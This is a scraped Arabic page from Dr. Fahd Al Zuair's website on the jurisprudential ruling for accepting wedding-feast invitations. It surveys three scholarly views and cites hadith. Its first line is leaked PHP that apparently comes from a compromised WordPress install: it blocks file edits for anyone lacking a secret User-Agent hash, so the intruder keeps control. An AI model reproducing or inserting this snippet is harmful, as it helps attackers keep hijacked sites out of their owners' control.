if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم إجابة الدعوة إلى وليمة العرس - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم إجابة الدعوة إلى وليمة العرس

(وَيُسْتَحَبُّ الإِجَابَةُ إِلَى وَلِيْمَةِ العُرْسِ) ندب الشارع وحض وحث المتزوج على الوليمة، وقال صلوات ربي وسلامه عليه: «أوْلِمْ ولو بشَاةٍ»[1] كما أمر الشارع من دُعي إلى هذه الوليمة أن يُجب، وقد اختلف أهل العلم رحمهم الله في حكم إجابة العرس على ثلاثة أقوال: القول الأول: ما ذكره المؤلف هنا وهو الاستحباب، فإن ابن عقيل رحمه الله صرّح بذلك فقال: (وَيُسْتَحَبُّ الإِجَابَةُ إِلَى وَلِيْمَةِ العُرْسِ) وهو قولٌ في مذهب الإمام الشافعي ورواية في مذهب الإمام أحمد واختاره شيخ الإسلام ابن تيمية رحمه الله أعني القول بالاستحباب، القول الثاني: الوجوب عينًا أي فرض عين، وقد حكاه ابن عبدالبر إجماعًا، لكن في حكاية الإجماع نظر فإن الخلاف قائمٌ وسابقٌ، وعبارته رحمه الله قال: (لا خلاف في وجوب الإجابة إلى من دُعي إليها وهذا قول الجمهور أعني القول بالوجوب وهو قول أبي حنيفة، ومالك في المشهور عنه، والشافعي في أظهر القولين، والإمام أحمد في أظهر الروايتين)، القول الثالث: وسط بين القولين، قالوا: إجابة الدعوة إلى وليمة العرس فرض كفاية، وهو قولٌ لبعض الشافعية وبعض الحنابلة، وظاهر السنة يدل على وجوب إجابة دعوة المسلم عمومًا ووليمة العرس خصوصًا، ففي حق المسلم على المسلم قال صلى الله عليه وسلم: «حَقُّ المسلِمِ على المسلِمِ ستٌ -وذكر منها- و إذا دَعاكَ فأجِبْهُ»[2]، وهذا عامٌ في كل دعوة وتتأكد الدعوة إلى وليمة العُرس، فقال صلى الله عليه وسلم: «إذا دَعَا أَحَدُكُمْ أَخَاهُ فَلْيُجِبْ عُرْسًا كان أوْ نَحْوَهُ»[3]، وقال صلى الله عليه وسلم: «مَن لَمْ يُجِبِ الدَّعْوَةَ، فقَدْ عَصَى اللهَ وَرَسُولَهُ»[4]، وهذا هو الصحيح من أقوال أهل العلم وهو وجوب إجابة وليمة العرس متى اجتمعت الشروط وانتفت الموانع.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه البخاري (6082)، ومسلم (1427).

[2] أخرجه البخاري (1240)، ومسلم (2162).

[3] أخرجه مسلم (1429).

[4] أخرجه البخاري (5177)، ومسلم (1432).